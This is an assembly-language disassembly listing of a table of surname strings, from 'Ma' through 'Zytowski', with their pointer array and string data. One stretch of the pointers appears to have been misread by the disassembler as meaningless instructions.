		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
; ---------------------------------------------------------------------------
		or	ah, ch
		inc	edx
		add	ah, bh
		jmp	short loc_42E6D9
; ---------------------------------------------------------------------------
		align 4
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
; ---------------------------------------------------------------------------
		fsubr	st, st(3)
		inc	edx
		add	al, dl
		jmp	short loc_42E6ED
; ---------------------------------------------------------------------------
		align 4
		enter	42EBh, 0
		shr	bl, 42h
		add	[ebx+ebp*8-1457FFBEh], dh
		inc	edx
		add	[eax-67FFBD15h], ah
		jmp	short loc_42E705
; ---------------------------------------------------------------------------
		align 4
		dd offset aTukan	; "Tukan"
; ---------------------------------------------------------------------------
		mov	bl, ch
		inc	edx
		add	[eax+780042EBh], al
		jmp	short loc_42E715
; ---------------------------------------------------------------------------
		align 4
		dd offset aTwells	; "Twells"
		db 64h
; ---------------------------------------------------------------------------


loc_42E6D9:				; CODE XREF: ___:0042E695j
		jmp	short loc_42E71D
; ---------------------------------------------------------------------------
		align 4
		dd offset aUllman	; "Ullman"
; ---------------------------------------------------------------------------
		push	eax
		jmp	short loc_42E725
; ---------------------------------------------------------------------------
		align 4
		dd offset aUpsdell	; "Upsdell"
; ---------------------------------------------------------------------------
		inc	eax
		jmp	short near ptr byte_42E72D
; ---------------------------------------------------------------------------
		align 4
		db 30h
; ---------------------------------------------------------------------------


loc_42E6ED:				; CODE XREF: ___:0042E6A9j
		jmp	short loc_42E731
; ---------------------------------------------------------------------------
		align 10h
		sub	bl, ch
		inc	edx
		add	[eax], ah
		jmp	short loc_42E739
; ---------------------------------------------------------------------------
		align 4
		sbb	bl, ch
		inc	edx
		add	[eax], dl
		jmp	short loc_42E741
; ---------------------------------------------------------------------------
		align 10h
		or	bl, ch
		inc	edx
		add	ah, bh


loc_42E705:				; CODE XREF: ___:0042E6C1j
		jmp	far ptr	42h:0EAF40042h
; ---------------------------------------------------------------------------
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		db 0D4h
; ---------------------------------------------------------------------------


loc_42E715:				; CODE XREF: ___:0042E6D1j
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		db 0C0h
; ---------------------------------------------------------------------------


loc_42E71D:				; CODE XREF: ___:loc_42E6D9j
		jmp	far ptr	42h:0EAB00042h
; ---------------------------------------------------------------------------
		movsb


loc_42E725:				; CODE XREF: ___:0042E6E1j
		jmp	far ptr	42h:0EA980042h
; ---------------------------------------------------------------------------
		db 90h
byte_42E72D	db 0EAh, 42h, 0		; CODE XREF: ___:0042E6E9j
		db 88h
; ---------------------------------------------------------------------------


loc_42E731:				; CODE XREF: ___:loc_42E6EDj
		jmp	far ptr	42h:0EA7C0042h
; ---------------------------------------------------------------------------
		db 70h
; ---------------------------------------------------------------------------


loc_42E739:				; CODE XREF: ___:0042E6F5j
		jmp	far ptr	42h:0EA640042h
; ---------------------------------------------------------------------------
		pop	eax


loc_42E741:				; CODE XREF: ___:0042E6FDj
		jmp	far ptr	42h:0EA4C0042h
; ---------------------------------------------------------------------------
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042E838o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042E834o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042E830o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042E82Co
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042E828o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042E824o
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042E820o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042E81Co
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042E818o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042E814o
aYu		db 'Yu',0               ; DATA XREF: ___:0042E810o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042E80Co
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042E808o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042E804o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042E800o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042E7FCo
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042E7F8o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042E7F4o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: ___:0042E7F0o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042E7ECo
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042E7E8o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042E7E4o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042E7E0o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042E7DCo
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042E7D8o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042E7D4o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042E7D0o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042E7CCo
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042E7C8o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042E7C4o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042E7C0o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042E7BCo
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042E7B8o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042E7B4o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042E7B0o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042E7ACo
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042E7A8o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042E7A4o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042E7A0o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042E79Co
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042E798o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042E794o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042E790o
aViens		db 'Viens',0            ; DATA XREF: ___:0042E78Co
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042E788o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042E784o
aViano		db 'Viano',0            ; DATA XREF: ___:0042E780o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: ___:0042E77Co
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042E778o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042E774o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042E770o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042E76Co
aWhately	db 'Whately',0          ; DATA XREF: ___:0042E768o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042E764o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042E760o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042E75Co
		align 10h
aVenne		db 'Venne',0            ; DATA XREF: ___:0042E758o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042E754o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042E750o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042E74Co
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042E748o
		align 4
aWeissman	db 'Weissman',0
		align 4
aWeissbourd	db 'Weissbourd',0
		align 4
aWeinhaus	db 'Weinhaus',0
		align 10h
aWeingarten	db 'Weingarten',0
		align 4
aWeighart	db 'Weighart',0
		align 4
aWaugh		db 'Waugh',0
		align 10h
aVasquez	db 'Vasquez',0
aWasowska	db 'Wasowska',0
		align 4
aWarshafsky	db 'Warshafsky',0
		align 10h
aVanheeckeren	db 'Vanheeckeren',0
		align 10h
aVandenberg	db 'Vandenberg',0
		align 4
aVanzwet	db 'VanZwet',0
aVanallen	db 'vanAllen',0
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: ___:0042E710o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042E70Co
		align 4
aWales		db 'Wales',0
		align 4
aValencia	db 'Valencia',0
		align 4
aValberg	db 'Valberg',0
aWaite		db 'Waite',0
		align 4
aVacca		db 'Vacca',0
		align 10h
aUzuner		db 'Uzuner',0
		align 4
aUsdan		db 'Usdan',0
		align 10h
aUrdangBrown	db 'Urdang-Brown',0
		align 10h
aUrban		db 'Urban',0
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042E6E4o
aUntermeyer	db 'Untermeyer',0
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042E6DCo
		align 4
aTzamarias	db 'Tzamarias',0
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: ___:0042E6D4o
		align 4
aTuttle		db 'Tuttle',0
		align 10h
aTurek		db 'Turek',0
		align 4
aTurano		db 'Turano',0
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042E6C4o
		align 4
aTudge		db 'Tudge',0
		align 10h
aTuck		db 'Tuck',0
		align 4
aTsukurov	db 'Tsukurov',0
		align 4
aTsomides	db 'Tsomides',0
		align 10h
aTsiatis	db 'Tsiatis',0
aTruss		db 'Truss',0
		align 10h
aTroy		db 'Troy',0
		align 4
aTroiani	db 'Troiani',0
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042E6A0o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042E69Co
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042E698o
		align 4
aTraebert	db 'Traebert',0
		align 4
aToye		db 'Toye',0
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: ___:0042E68Co
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042E688o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042E684o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042E680o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042E67Co
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042E678o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042E674o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042E670o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042E66Co
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042E668o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042E664o
aTill		db 'Till',0             ; DATA XREF: ___:0042E660o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E65Co
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E658o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E654o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E650o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E64Co
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E648o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E644o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E640o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E63Co
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E638o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E634o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E630o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E62Co
